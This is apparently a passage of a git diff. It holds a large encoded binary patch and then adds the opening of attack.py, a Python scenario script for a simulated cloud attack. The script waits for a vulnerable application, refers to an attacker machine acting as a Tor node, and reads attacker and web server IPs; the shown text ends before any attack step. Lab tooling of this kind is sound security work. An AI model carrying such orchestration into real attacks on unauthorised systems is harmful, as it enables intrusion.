zX@+&<^4F5a&|SUGB!_>T9XDP|WM6?&N0E}h9#k@4fz*`;M>Q!QP0pj9 zqUqB?=9u%%R(izJ5mIGQsz=INbSda*!*{RGO`v#X{0nGaS&yCWhCYE;#8m%T3K~7( z#evQ@&{{eOj%%Pa+9LJ)A4se3yts?YgglZ*%tyjeS61aX;4))BT&>nB^r2 zUplX3Ed)(f-hknHJJ5Pso%;h~+WeXMji^aYRQ4)h+Yb`Q%qzA|5 zIYM8V`yMXXf6}_<553ShW4t+J432iK?xPGDphunqldxY$en=2RQ_5zPK92#_QN=~F zQU9$r_NQ}LNnu6?Yy6)ES*|f}DWS&(0YYL$_LlZ35wH9?a1HLSjI-=gPHfosJ^;%3 zMLtt}QrncbM2lX|fmomgc{;>CVk|6hew8rXo_G}NQ4T1R`;`2m*VU8ZKplSmHrve$ zXv2<8Uq!9&E}{Gc+LWEf6(L)g6oLOZj>8TTRF(p#kg;qB=MFQ`Qgv| z`i1q_sTOn5qdy-E8?F~=@JeKrBzxXDoqnP%c;PDS?{@T_S-CVV*^N3`bJ{Yv^6zco zJy^NacSQ>I_9b7FMy-nl9)ie^tfbgWT#lS&g@wgT6Z}lwOL-}As@AOJIkeNm+lpPl z?)OaG&8l@IlAK09r}oy{TXV7m)S=)4{&7H&%I5{OVY24%vHXB-PR5CKcW}RERgyIh zcp5ntMoD|4ou*@^c)FCKhlw!}?TI{$P1i2n({iy>r6}afL6J{0#@R+JV?FqBm5*#q zhg_*4&nX5X%H(`uai#7fB1Uo^)Mc-hLa){s+tRw1B;4!g?2k^;iXxJLvoHBszv#Rp z>y5;ka!Y;UE!Se=rtFdLlbni~a-d ziV0^0ySx2e0fmQU(|%=QHC)h^f*fJ`nn(aQ>_rG_O0{1M#bsFLx(QX>@N|p3OT`Eb ziTccnDh2Z^if(7}=^*c8RFbfVaLQQwXW^hi)qmNc9<_6gZaYWh$qTJ&)BsM6z{!(u z`PY*j^R%X6PV(vGwAbxZ2BsGs4quE8p5+kvat=lWS$PAbA;cbSurI4>5RXZ1o}`?6 z^2@YCdfU#&mhV6VD(&(Wd%Le3*cQd#CLixt4=@~gg@A0*cDEdgPX8zhgM<7v4A{c~ z`)wmosCTs??h+=Z8IH+*aN9jDFgmz~AAKuPD39rGT$8}k&)`l4JzORzaP;(4!` zjF~Y-gC9`z?_8VXT_{O~JA{ON3q6ksJs{DGUmYk|+KjRi!0{&i^K%6YM(T-)Kyj0; zF$-p?gIWZV$I*+!cy2gWKTlg_yEQ+tB$7sv3cmDy1_X(LWvu4#QxvPO#wcprn6I;{ z{eWRlCTx|>Xi_exuCrg@1+jL2YLG@&p;n2c4za+fLdytz{G;->E!HiiFj*-k7_P&P z@Ggdpp|KsslFBwqgcc&pH*UTrI!yXZ=Ir~o8DhjIgXP!G9}o9Z8q`9=9$&jVqmN^7 zU@o)2iJ`%;X9{yF`U!-J$k9kt_f}072ItG@{$s*K)O~SMdP!WzL}5iu&alM$ps@U) zM(oO?Ewvdakq!N0V)YnvP(Q}ey0=b9u>%2NN4|fj&Z=;KO8vww!trRqW!F?C*;1) z>oJ{Nn+>VTHf<;!gv*A7f{}{hs@t1BetYIQa+($=TLR@Hlx#;F+$k_&j*_20UR}U@ ziA9d?n4{H9;CT$JoPsbIbl(Dg0^h(8ntg=_H`vR1e_@(y})d!@J+C=KIJShEzN2y97G8jE%&hu=Mkz+q+_$G%iGW!@eZ zwF+bz`$ACU5#=C<>tmowJQ1C@-a|VtX(-SVr|rCnyR0$jrXyft40CwPLX1Q; zw|_W$P4f*ksduf_aZ7cr}P=n8G61tQ1##zk!?a+*IhfJ@C+$1 z1pKyQi0P-}$&vRupWBPuNu|Mbl)cFD zUB(j^I%jP|QwhV7M0p(mPZ{f0n`gSjdrw-3{Z*})`Ss@w>8n_A^tKTp5HGFxny6Ft zIO~Sin-+l{h*iMc8dH7;>!Ob3Viud})4|JnBJt(05qjHCOmc2BwKg)Sr)VIk-!oHG zF-c~W;MS}Onzw^18c4k#8lc>^7Ap~W!8odV;J(e$hnYE`7W>WFh*5qX--ABMNBog> zuvlqKy9Yg8&_P!)znP#mYU70%z764Yc#!V<#=P0>G}eUEd>|8*O^nu~U(S||9wjbU zC_xHvhud}&C{iDCIBBsla`dxYh_lvqbvs-tDdoq?m0KQ1?nFBCVf~qOZk|I%T-j6X zUL9dx?9tu>cTz3i*BAZ8vFcpk@}WHsH`x$&EGlUBi9?#O(J`@|(JZ44Dt0zR}w)5 z6>^Y<%IdY=?fO`@Jw)SL(vF7kin};dCs*ee_gW=v5mXPg3mU+XCQkwiKT{{V)px#& zNThQGhxNj^=|VK*XKc!JAB$_?4a(MC@z{j4z0)3v6Q+DeDPf}B+TKz1(^X33;g;Ox zgo^I4M_HJ^Zs0g^;swD*9C;1EO20Y}Cy?ueQqHXojuRuV1`=r298f)88u61zimqhV z@4RIhbbs}A%9R7`GR-yKEeR{w)%B~c>3lfUcDDz6&ucSDgct}EcmhL|ppPK#pvNjH zp|Tbs=?JpBSo|UDOZ;&(gj)HEnEyn5rF5umpbC+E zGGs}}42q;$%BR%QqvSsIBs#Z_MmcbJ8HO&v&XUACYrl`x8A2I^ z79=k0C@)d(Uu$kXTODO?94mwlSL)ttXyZu`b?M?isrgMP%(DAS5l**(A?2wDelu>R zgvqBGLQz=ZTMMu66SruM$Ul#u$`e(sd3%0*Q(P6FAVK6JHT+Sgg#PgVY3?oKq6)vZ z(E%i+5d@@$QbI~mIt2x35RnuxhVGJ>p(GS3gGNFS>F!p6kuFIoL1~a7hkWln`hTA1 z_nh;7J0FgpRG2+`-}{cWuIpOYx+Dq@5PlpkyAvYjqOAIulfPHOQa)F4_$gUJ#4S{U z-gDIO3&fHFJisA^b(&YB`CB$mnbr=guM4j=gH=@1?9OaA%~KW8^b~#8wcp|=N?h&u z(x2XVVp|_(?kt5Ol`*-=mnc&tSoC(R#GY?u2v%5Th>!ZoCYvCK>~@YOS5Ud9dwd{5 zvN7+gE4~bkyZ+yC=O@8N-oX!Kno8ZK{_^1{} zd}U8V3ppclFT{;f#Nd0|%btgoFAb(p%W)-IcF5GQc$2BB}n5UbKoebkPdOeMyq zMEC3jR>4*T&^eAP3+XH|+LAX)-qIiTj704O`jiqs<33}tf=P&j_Au^Mgw;gYy<0+= zqhsN;%4eUF>FB|kZ!^lCw)aBo1F`@7*>KNT2H9+1;JsFRm`T<|+?(MpDU$Z2D#1+F zBD3&Rv97@Car}uk-7*q+=U#GhN+#qr^rE;Z@d#0jcDrilYU}zMYQ-up4Uf5*045Q_C1b6och|;>FZPHtRvi1I zCbh>9DPlD5ttb^AGDVGF9JLa?;Kw$>78kvqU9c-$oKpE^Ch%@mPL|+gm1xCfd+}ar zs@)GPB3(7Jh9Xxg*M2)ys2^3>2}hUNec74cR4%hg4zFL=qHCh!_~CNp^if-#F4ZW3 z!+gbsCFzxMVuXB^nruvI zTkptgo3l>`P?Vkbw|*H3d=k*^x^6r8>}^Koigh*wY^vQtkvL`;8qK~Zyk}YK6MHNZ zK*1rFA5}9Yb3m3MoUg$$)f?2@pz2Q2f9=U=kl(6`;YWjdBbx1os(G^hl;VO2xy`ow zbL4kqtpqDL`drX%gX9PEE-x}<-5Wla?QPch$^3SyE%95k7*^A^{S~R?p&s~0niVCU zrLjs!tzV@zdB=9-*^SJkUYi_zRx<3K&I?7sPykhR1yvSI8I}=!W|u!sy?7GU7uof- zpE)iXPm1XFs{cb}+2>ywyC18Pv%VJSr?TR)y`8$3R;qxdu-hsyq`(%pxEDXrYv*Xn^I9$p{HEZsl9cj zD?(~Csgd_*#X_JX`G89;^|Rzl9VOE;?8OhR41ZdxdG0Zi)D~Wx)4$=Pr8!`y`zuR< z3(A0*Y?Ky{@8f~}r086vN@crJW8!^i0%fzy6LBB;KfEDEG(*i^&R$8sWK}tZCN!YK zP*|+CdVcuz(`R*DkM2=Ukd+ zN8?@B=?5M>%~E&?&Dyth_dOAW=iYs<kQMcI9VG*YXcJ+7;H zsrRk8eyu2?Vu`)UlXrLc^qN!?$4c*huQlMmzo!4ygTZBREhV#xZr%UlY*WFelWy|; zA|C*riR%}SrjBz#JEZ1+?T}1#eC&i$5Aa~c??p#zM{*Z$(@`%l=;o$e59)Mv7s#iN zR54P^dv5^2*Fv&pIrl?zAA(O97XyN3m+3)c2*94cujjg+ftzMx{X0<0KUL+N8c)`p z{8xXc`J<{olV06vyjJy{kHV;SdA*^(+i`87Cl|OdS`SQDEZ9=`xzIU${`~jA=0gU)v zpoDAE`a|RokW+8a8(VV}UnPn={|N-&8Ogxx%XdCfT!y+lWDZ!0t)mWy(hg@l-;N^+ z$rb?6?Erg-g#Q(PzLd=?5@o+Bn_Gk*}@&ozz9J0XqNuAjUpz z7C=|2_-)iK{s0YYejAu0J*W<@a5sNpu)~{^fWL+69gzBdg_R?i+?!c#V_QJ^JlzN^ z)Z{p|Zy5&BpT$3EDI}URec$ybCBb;y1lvQF;XEk`Kl5nOMJrnw<2lyCN)bc}#N_OE+ z6wC65fdCs4to%VM)nR)5tMFpQQ=kl-BnDh^^}{QM1f|N~An!k_Y6V$~p3NSy$!=-l z0ErIJ!;0A)z6*T*_bC^j0{IS9eWa9<@^-*pu36w)3krITUvyXGKQ5{!nkH9jR=*F6R2%!f?Ib6#zBfmFSYQcH^SO*s1MHB_yu)=Ijifx-}^fH_l7b% zE;(dIkI4X$-b{z&Z&24I@44mGZUgH5cG9jnBFK{d7{v(|RMr5s1v1S#TFf~#p>Q1J zzf-pPg$C9{+1!)BSz;4zROZI;sN0>eKQYX8gj3Hlv*b z)&ih31l57>T4`7qpPtbMz~`vOl-F`Mzdtbd*rA!=`HvO=V7-aO`#`X`9_&{xDV!9| zn#DR-K+Y`It+HBrb((TOFV*mE#L#t6b4GQzum*%Z?bDu_#{tqbDA%K6;3HTK=4d^T zMhplx{P~R1C`r^$2N3Iwl4O-ef=KIRgxD*Na(tsI3(;N*J4$QXu+UNzuzG8ttysy+ z@BR7YrgX1Va{_)3=uKUju6O?dghYGz=KYWdJMkTr|CJ*!o##&S1%`^==*zBD7Wl7~ zQv%g98(=~u%=k{_42pv24*JZ2<10V?PO*#ipxxpRR+q0dj;(|YJFp%q8-V}}C{UaN z+QjwxbF+`TfOXj~)h!Nutt{qxEs42v=8K?l&GI@BL!BH8NsYtcWvao1m*fp?1!-9J~O3V0<@4 zZ(=|9VRP)(llLiS{q*kV9Woq8On-PzIy4=@WTRT6Q9E4wU*MsY)rqKZ%?ORr8eHa^8MM3kIB8ZX@8krIWi?}>Gd0FM~$sS%m;Lg0q@+Y z=%+8R5}m^~biYky#Jo^5siTbP4l52Fm z7S9#y$#UVaMqQqJW7%1506f`52J!V8_vPLR_RclFe;UYNPS|+A$CacNGF%i zx>3sZ=#8e>Rt#L~##~bP9`fDrYq}*(+(YK-Ng9yxcMX&l7~f!f%9rb748j|nT%k!K z)|x&T-y;BiMud4mM}XZ1-lQ5a+MVZPJ!feX92Y(jV!MS*feWDA)bADoD)-0jueMI` zF*ZZ&NyAK@1f2J+ASy$8zN9JuE$)4o#WXMqu~P&P5wcnD13Dxf`t5+ud}I4F>~NiC zumv2~x^T-2-+$o-3=v;mE&2oYV#@Jb7D6x2uxV#o#+XZFRsdW$1}fx1X*~&D7E5lZ z(r&l*sQY6H?-+uZw?l%)+bZrUaOOq{l!S!)*^~8BR5{B69$F)FlE{GapwJX)On94t^bAYmrJEurY~fIaG7 z=*a@!3eZ1JO5;_ z0Po>w{-q1IW_?3&lE%T(ddlq>ExcMZax+Gf6FsqC6Nmc*39T(nP z#5`A#Z7CNse+p23)H+0WoSfbLkReYc^Cv(%jiW70pBsU<#LSe=aaf*C zpDYn=bY9P{p8_d1<$iBdqMxXoYAr>nR=~tCs~)sTssr)PP|iw;G?nxT>~ttcdtdaX zbvW&XNxORbcSjz&4uE_83WeKQ7XPp3>1B2}o`85VNt44S8nxr6rOXsV&H-qcn8j_iN(H34^OXMgiQ z3CYZo+~l<^CPOB_b{L~v_}UL@iPc8dkt{L}c}LM7KG!!NMa;>RyH(bpGrtYhK^gf5py22bgwY$nWd{2iSlQT|6c)wY!v zL7-)lVe6S1)VXJ4mUTH&h31|9M|o(N;@Q4AwI2wm_C$zu#H11TRkEkJm8C>bcdj4% z>@ud01Rd*3M5V?Z{4zBvvDZ>Rkj|fC{Q9_`a*}eFq=U;-8FNTG3NW19Ju$b!q%3)gE3_Y%Fos)gF3BG-sI~UvZbtZ0xItb==!+nYG)st zL=+YB>Q#3RKTwD^aW;$v%FtZDQaV-O%0aLv1KWr@u4yZ0jI*Nu4USA>45N~TYc3`O0v6Z}8xhC`l z(TeO;jelSeWBxua)%aeluTsv0K_!ZeKmR5tQ?zYlm=70P_=E|q9?#d9A*Mg3SyiDZ zbaRUVAX#!i7IW497m3I1UIqQ7HI7EZ}ok?4i8jBdY@+9S4#1a?`<2vNN{e z%kidzf~8+CAdk*+c8X0pNip?LxtXiE00Z+(UFsfms44tQs~NvJA<`VCxsSk!{S5u{ zwi*lI!K(d}1)S7=S-0KNm_C(y+DUho$x{`+uwDZEFq-_2>_oj!Ph0{quZ5;usZMn~0_21%GXYGlP) z4R-PFx4#vUS!}W=J3~zZd*rNA!|?>1pfulOvmZ92{3Z}{bHwlq-g379ELlQYf`tY2 z)=P};e)AA&2zOW&KIleS&UOv`Xb4mkEkaGgy%u6s_I3rIkAg&|eR2l`S+$^gZep@w z#MrJj?RbGFO1u|y3F!ww4p|+LhvaR5+;t}{gI1Ky&#_!6j$ip~;Drk=y$6RJvXh$c z8qu%YO$}8_)XkvppQ%$9jS9=PH-d9D{q*aD)den=8cWQ*KR`Rg#SY8z9 z^fF_v!hcK}2^MPP9d<-WZ`cwn&R*L_Z&Cv)c_x%ljnz#bAJP%M&U$X@(sq$e4X+W* ziE)S8UvYAp;bM5rz=f}t*|DZo8V_Xm7;5#0;>alwLCHFA2XGfY*N*}CM1S8M7zW0_ zh_?Ze(UdK~p?-;#ke$&a&@qJ+_U_E7V&D$cgm&8l|Ml?QQwe{9s%3@=9ijJ60naJ& zk&0uM;17iGXs-i0h~0$G zWybB4rC}mTmOQ=aj4-wpkHU)_(H*_*M6xc1pEg0|P8uP`X1kr)sX$stLTBttjfiMK zuf)wN&p(qN@aG|CfMM47GOIMbVz+nk z__r?t%);6Q7nJK=UJ` z-6J1E|X>@-C21hf&F7yioA9uoJb_%N|I&<`c%M$*IFgNa44!ESofxV zov6CzUTHKgRsEU+eEs_PE3E;S4B5lpgemZV(}+WD>7}s9op-Jh5(QM(awt297s-jc zQnY)|z)LwX9A=95apHH}V;aHgrE5Sr$J44QI}f~fQhC`evt)9)24Ta@eAKw1rCT5{ zIHr~*tO^$Z=Goub(qQ#l9~Y^b+{L3Ho<{Uk%Dnbr!OH|g1N{M z^afg-Qk>g9s+x4%rkQ5-9BWm&LA)MQCF;3m2wJU4(~p-GpDdfgH07yRIm_{Ka8HYWiq@D}NSsYLL~mS5NjCL=wP zhyoVlP3n=n;`5*F!xT?}Vb;$fiv#&(0SViR4vh|=7+m$J+!7rt-d*nr_A}wN^GMH+ zB=bp(l+c~48H*?2RWUyd*|zrHF-S8rr;4+zM6Eak(#&b z2`f=NgvNmUQObIU)SZF^k$8N6{Bh(jA-07_KA`+0nbj*?%BiH4$PuKu%LINFrLX8n zV9{@1yY)(TsC0cxUKGvTQnud*)PD1w7NG0p)RXcAxtE;8xe>{*CAkyGf2g6{6?h=; z|H@}ph2&z>asi3%tfv%Nv~xU21lShbfU$-9sHt0I*fGGjI#d$jK1&>Mqu=a78t!R{ z#F#c41~gSFywgal=~wA?Vm4dsJf-`*#q-)t*q{3k%zm-bO#GGr^|2?L^HI`8n`-p{ zw>knUghg1@-Eq8U1A%mxQKGb>pkl{~cs(rL{A!ZK;?fi0F6a&N4L#jX2V zlcrt7B^q|PwbjS=_AAd_*6=Xj<{&et#$cN;NrEi%SpKgyIw~VI3BiWLh^g)@1%I3} zck?t43DEH@g<{+U19I=#?PRow_wa%Ovpus2-kkDW;C)zGY_OQ>6g$7xa4KOLj2YHp zC2;Gqlm@dh22@0Rl30Xw2XMl$Kw)+;PMkST6uaZmop22mhyUjWn)q{|p9Kw?=jJ&y zPvvtd)$<&g8dDOmg%;XtS01oY0NnwM3d^CINqB-^F)!oUn*krwl3$`a`^_#D%@!b? zdxu3CQ(N*`Rj!;82->2e_wLc>gzoUCP#r3!VWs=~tXe7rmm;kmW7-9~zjg3^>-?5u zE@7q6Bx#ONmk`RhN3!t2i3Dp&H!0Au0^lfJPX}p==q=FnD9{@8# z{W#YYM96H%Gh?T$0L^^yushS>P(3SA6$Lh>m&%wxzsaH0a0yYS6r~l)2@6qCJPr+} zto9fu1`_`cO8TiNrkkCc^ubdVDtR=N#JP7~5fF>gO0WntTy|pBJRna^D1>1o!w3rl zghYjgRpfJ{U9#ou!kRDQP3xn1UOR~jq}a_r5*4uIhNF4Rh!?-Ozp%O$zVJadNi;44 z_4X;=^{4ixFkd|{p_hG;e z&B}?fRa9mP3-p9qu)$@CKfYMFptv}rTpM^dh0?V$P~lMFE%rIB)}N!Aa_0nhdQWFO zpYfy%Dj~d*CEL6*}a zFN5(K2*$Fcu5l@z;c3txl?9WRvq{`v(!9Y$+)f|c1Xf-XdF`I^tmG%+#dExfkMp3t zhzAJgf}#y3kIo&~LjV#DKa(Cj3eQG+CylV^l^w}}Se*B$Mvb-{pUD`$&JY#L2zk18nJ>#Z_qjK>FioqN+m zMYO}!Kv|0mjOQ>f4qWBd@prS1U<1eSrH^dv@7l^zROk{yk`*M#90LJ9;giq?yW>K- z#L!D+q2`SsOwfd>;%UrY63KbUo`#&Yi7s2R?WJKS%Nq2jq(2(GQu6YIrNT-$<@!lU z$fsQ(z5c!0hWD5VuLZHleyE)mV1n7gR%chtHl&{?a}k6$TXO@f&$*p`0%4z^DT21j z;c7oGTN-ifJv#$5rU%_A!n3K(y70Ym_0MJOX{#~Yh0PoblbLo1K1QA*+O_rpl8%rq zBFy8(kJFXo=G82UD1SclRL^^G&hN{$KAePE0dz}_xF9?5SmY*w1-|FEi&Spw^9?rX zFIArz_I5I^jRxh4?8}?}u|t-sUoPNE;R_eet`VH9?eHYWKMhcdc-y}Iq>`a3uu(Yz z?@qu_i_GxlS5aYPwz)j&v@MA@SkvQA#|=^prYBV3ow{u3k5qG(Roh-`*>Z=Bj_a3% z>I9RDXrpL6!ldWEmftLGbUFLH^^Ix%&&1ph=Q*bag6PVgMG5>Yq@{U*`P$gqN{fd3 z)z=hJ`ES=#e86L*K2G%E$32EU?lC}OTSLlmlWgpBvk7-Cs75lW`k>ABY}=cDHs{V0 zr514jGyf{+66uo^sh>~57{|aL@*0UPj=v)wG@{fZUl?i5lNWMuIJlLI@g;PHI-)ZV7rJ+)164~>}-Yj2_1w^NOqeTq$Z_h=Mu zsz$X6Kd&^Veots+X(pCnl=k%Yz8wY1P{jagln$4o-@>}Eg0F7%Z6tYCIR4Vv^j3H@ z*O|-N&+*U#qY%Sp>axdZsv}18o!$1U?nRGOxQDOwjR>Hli%o{Oh>*-Vr%k#GmBp&4 z`zjxiCu$&?FSfG13vE38lep8K088|+s$7#aJ+z0X_hDdlXaV)5mZx~`)@}yLMoeLz47E)KXQg75Dcli1 zO^y(D5?y+mb@smxt@lh7QRSqbr&wqORvXge_B<)2f7*=Db&(|2FYhSsvV7|!Xn98R zI6VKNrSJt-Ap*>5kIa*C)2``)a38h>WMZVDEh76Lf z5SZbUrLtLpJ`NIj?HA|~SN4}9MxY$%kE6pAJWoR>*~V?eg_UI%eD{}*zn?AOxi@;Q zp2+qozDmt~M$co{{`D~F=6k*<%|^Lu%w`YD-(+0;`xF}#gsv~YGmeGcHYhZKs;kTm zxJ$;--bV4aWJ{vvYQx=h3}%vYd9=*F<>iMD#SDh&*HEn%-K4BM91o|6w7$0~Wz)V# z7kS@+^hQ1urH$_a3I!af3Z!)RpyR>_EsQ8qy9=EkSqg~|pxS9~;_>g_O<;mqDK-^d zfqn|sF8Blo=Q8*kxInrrG!BH=ftrPEGyTg`KLJU4l+Fg7dSHr48TXs()h; zbDpe)CD~@k2hw`!CQu2Gdp>2EIy9C#H=$J|ONDJXw+ajyoS`Ob$-rR6-;R$HQ#Aqr zm)77NKsW!`=M*4nkPkcqdRGr%kl_XifeblKfJ|9-_H0?(-xcbI z1Chy7Kp?QpwYcl4noE4PMJae&_`S2|9O#hl)+e+5idn)ro%p0g+k4$=on2{i4+~YM zz)$}WR}b7_#;T&!Qg1UKGUZc2KBrbQmL+MwRf;cYdLkK=e#@&z_ zbVI&u7zcGUNE~{Rpc=ptB$*z-LMpEzm6+}NIL@*=CNp{ZnkjIAtzy8CN#JCPYmR7lXI#FV#(am zn-$0^3JgyAJy^e17NOlY=LU=I3!I0zIgv` zqhpX1fz9ua;u#jS_FB$Jbx(&dD`^S{oq-e+XLteolTPwy;w?~nFE5a}R}o{Ol&-L1 zP%Y}y{#(9#ereWks&K?k|IJy#=ipa7H=pSUw`exWI@}xWL+y$BQ|`rnRF;!-!22vA z0ct_IH9Q9W?Gr&&g}hZ1pw++8ueG6IN1&VYwsX{%>mWfna+SDbVqY3E33&8Fy$s0X z#EDD`4a_U1h?wpBts;QL`3~ez>I*p5My`PA;TMh);$uNdfr7&ja^WovEL-Jfv?tn^ zXHDIWLDt{Mg^=RQOG92=tJrj^p6NgO(gdMnJGu^P(6->C`*-J=vB@NO9v~3wH|qwW zCg~*oz`^-sW54;VaT0a3j@(Ib1(;T4J#YzcSs@QP*6EyEXOYovR|rR6*liIFQI^+pugpj6i(+2PbbZKBd4r3aC6jj zzKaduEe{<{R9a?fPd@s$90G)7`RvYyv`90U`@XYc{cZFseoGl)e&(<(Fx^mBsKrzk ziRBLhy#h)IO?v2uLQ%kvXnER2;&AChBP|9fc8ti}1X27L zEXrOrOx>Zd3Uz19#9UjL@mVdLre96#@kYL5%eu(0a#8cFfTrjeoHuJqpn#kv@jA1gP$U^L-|k6p&66u}U<7uWoJ zxuF8&)Ed-O3$(g3UNcDK@Qkv!GlE9Agv{O5@t{Qpu&sVOxKu&9JLW58-#1)2u?ojS%i?GDiEda;n& zD_$+FUHrB=ks)Yr2zDjsHhx~{^o+sR zgtTxQ;A|kl3WQF9;$*)C=~s{1_}COq!F*ljcyog~N(3JX>SeGy@!*`96sD`J3s}GQ zxcvZqlU<`RYYyrlDR+w^3zX_M%BA^%ZF;|)*mAOhV8H~E#N*l8bK3S5!1z=JijV** zLvBcyQxVmBmVS*rrmk9MW@nuUlFbn8U~zl3$y4R>$G=>X3e$rvQAJrtNa8PG39v9Z z`LU1@7+hdKT$!M^rXmd&|NCJgTd(3_tXHE;0k za=bQde5w97h6w(9xGF;Tqx4MtfZJ-CT|Nq9LMbD;+Kq1y_EwY^V@qnoGx`b4ARp(X zCsZuC0m;lv3e?z6fyWBs#h{fUiezCY`jc3Ix(`Jzf55df;uhc#uj_TZ)zSAl`TfOj z;wIxoq7@-GQUpw3s}PVx;7Nj&5TySW&9EDqs{-<_q4xoPD43t;6;dv2cRCEKymmMG z)}*G`_}BQ$JZU%JgYONkEMlAjgwcJ?^&}YPhHcLQ8xUIxT{ruPi!J#Jp;Kg$BW;J? zvl}v@N0LT4?4vys1b$YiN;L~|QYzrThKT>@&Nm%>pG_Zfx536fYp-06d~PjQJ1_9@ zX%0&Z?QB(W1rrM~X69Q2&*%@=MVt5~Sw5Mn$}0+8oO&sQo+*}d!pQ7(aMZW-5%r7H ze|rRv2!HXcoaEgup@I-dY~B#I7MxEfU%tB&vCfzK29+#Wk!VHMqWP6o<@2D2HGC1j z|4L38tE02Mb+YI9ZFEWq5Yv36A54Jk_RNLPtm1+{$=IlNKLHotE*qjmc6dM16&1a@ zgLhy>48QRxG9Y`oKaSlz#(cT{nY@<}pr!hz?r-Bl&i4?cAb>t&UMP==8@`l&iTa#g zV3$Z`8++Of#@TWDHvBY&QboB3%sNzz&A@mIDcuR%u>WQ4yBzl5@_=7e-ojJUx91ga zJon?=K28hXQ$iCzdC~CZjT2c|Axk+y)q{q0IPi`zDi8Cdz?9~P3)&Bze>FesoF1Ym zXGgAjiL)35EC-M=(O>Xi4T&*0*ppGx_&5vohAbnTcz$P_NeFhw8N$cK=oVoe5q+CL z`ek06eaEtzy?L)uC-(Tgx4{Ba(jj&1Bj{;Bsscjl&Ax0URL*+2gNgM8>@VW*sCRF&aEF1Eq6c>QvO8dz$XBWJq6y-yYscQ=D z$v3ZAGbbQgUEV8EzrWXKQ&K2kr|8X+nq%K!qHQ3L6|nP6x7L?kyGOsXD5;o1KrKaL zpduI+H1$ID5;#w){Ya@jUpuxjks)+JHB)}%DRv_7KA#RNl+^q$GypmUQRJJIoXeKu z0_Y-!Z+-Yn0x^}YbC;R-MXAuhYQS+6apk9eyw6Ej(mP&EWhcRYzc+~kW!EUa-vmMv z?+9D|m`b5fNTH>1`LXErIb&iVa@M_<_z+512JH^fkn$Knt+@Ty8y#&a@%&o>+Lfi1 z>cgqG4%;nvwF)UMhi~}%{oh2=!S`;CU3$S9R%1WrSy=Wo!1aTc(vM=16P_-YaJ=SM zP5Yw^X6tH!K-mmxNAAn(LmmTQesvds?ZPPLO#I{)HPz)Fg4P;8HoA_M)cd`hE4PJz zQ(HVnN3WvYjF|$DON#ny`6f0ST-Sq+|2S0RA0t#W7rpW!Y{~Jvq9-mw$oq)996ZuO zceYy{{!RVv3*om2_Hu(2wOBHC$9h%d$XTYRl_Y~v)a^!L9fMA-5vw_J^*CC(P1NwK z)7`^@X7xZVgLJfP)|>TvGdLJE6)NvDikZpfDn#{VDKr$ZdtP73zI#^-49_X}nUZqd zzv#pl@_LA;#7 zBmVwQ{lTLc8$EU)q(|jFntC7yUgZCuFY|Y-k{CjLE)%}wP2Y5)c~@884P_1xW4jN6 zO{vque?aY_Io?Lsk2i}6k10WfH*;}CXE~-=)q-Q{zA7#&zDr1N^n?b|k=KEYcx=mw z_22e&M(S+-`#s>b$?CP`uvt1`=ddA9^f+)s>%?0EIZObqzZQ_HL;w3jGS>a<`#|1# zaV3VmIYxt@8<)^i5JF;WagP;!FQ9a<14&S=_^Y^gxV``7RcDam9r!y2eth3Hi`kc*gPOp{{B zzGdCQU3gk&c2WMU_NeddSlesDCa2c?_$Nc7WkmrF)zUW&9MYDbf}-dR$X;RUl2wZC z|N82hrOb#Qz@c#iqAh@LUCp$Ju>mew;V)`|f?pw^0q_F0dUZhVSD@oW_&SF&V4eN z0c75|jA8?FtdUHY`nQ(O=qw_KA!`XQU?Nge`nZFBBb>dtL?3*-&KxX-{b&~&GRPCP z8pxn)AyJ|%NR@7D>0W{+0nlE>;sc92FVH*G#r{Jrpt9&4Z^xJ$@?U(5KLu4@9Cg%$ zhd|12AQz3EzqtZ&IVK=1j!5}<{qH2xDZ>Y9J1@wWAQ?D4{CHrF{DlB9?`J_044Ha% zkY4%`Af3I=7#S*KWHC^e0xy6i)B)NuZ^?$A2fB$E{LB2#prcJKWFXQ^648jcN2!Q< zX$+JXb*A7U;;Ed2yyGAGKl@}SA&#cgKdUxRqk+!EA69FXD_5n01hkLZ-)TNg}XqKzQxb4FB~HT ztN!FlWv!Dlim>P2QAE8qMBF=-Qc zfXc@$jTL?oL^q=sAV0D3kG5O|{^o^)X? zX+V4<4SZ>jg{b~Bl{`pG^2e`ru*^ePjAHYEQq0UJS1E01g!;Kip*+_Sh|O`R30crJrLkNQx$VqAeXp%oi2_oe>1RVXVIee{0q>&^!o(-i!k2jUw3o zAe6&Da2~kLPz%;(#a3sKC?Pf*{Yecsp&LK6eB()5(*j=Y)%~}~YJs4}G<`-|Nf>%u zUZX%D8LBzio9qL*q16UM^FfF-V1?D}6l2Vj-sa(U^?qs6KaUC^crW-A)ZtEnM8~J& znGudn;8hHy{sR(SuMV=3PMLGqr+K+`xUZGXggJe=e0XljjaQ{vh3FwPJ~}V)Eh*&! z`U!wBsm*Ufls+N=KYPXDM+ENLnz(CDX#OOZ%Z{1f)3}fQ_jE8M7Xy` zNH-f|1WXmu{Y8a3fE;DRGVONV-`U#u2^L`!c*OAVS!;4%vVBJ+^XN`Q(MxMSv~cF@ z&VPHWB_Y&vzPar;aHBktghV|h%>bHUC{iNCz24Mxa|)t!LTz+ zUyZ0h0^&pV4rtAJ9uZ<4;!P?3Gxe(`xbvviww}2N518BeMKuy!=5732p z?jb-35?iJbSG^TyfjI5(J_v=IJB!lh zkU#i?b|FR7)6iS2IMQL~BmNs6?LFOV5mB1SVuix4cXk9`9qxa;Rb~tbiBr9RMCIiB z3;O_aKSZ!5B7Z!ak37n^^O(H2F#1mQ?*#ihZJ_Ym3aCjp3%2x}aQE`x|8EAuK#$9M zIQRfZE&QELMnHBbZPzet0!^O({(qeZVE;CIp^y8e|Ne=495@$xnS^)$9RdIO#PEF} zn0>%`5x36&P9*4BsoCH#EN@qDe23e3|LeOwz}fcy#jPLvKbQW%^jux#3Jm-}nFk literal 0 HcmV?d00001 diff --git a/scenarios_ng/scenario_1/attack.py b/scenarios_ng/scenario_1/attack.py new file mode 100644 index 0000000..250cae1 --- /dev/null +++ b/scenarios_ng/scenario_1/attack.py @@ -0,0 +1,54 @@ +import subprocess + +from core.helpers import notify, pbar_sleep + + +def attack(data): + + notify('Bringing up the Vulnerable Application') + sleep_duration = 300 + pbar_sleep(sleep_duration) + + # TODO: review notifications to ensure they line up with what's really going on + # TODO: replace subprocess calls with programmatic structures that can + # interact with the output and respond appropriately + notify('Export Meta Data of Infra') + notify('Get into the attacker machine - Tor Node') + + ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] + WEB_SERVER_PUBLIC_IP = data["Web Server Public IP"] + SUBNET_ID = data["Subnet ID"] + AMI_ID = data["AMI ID"] + 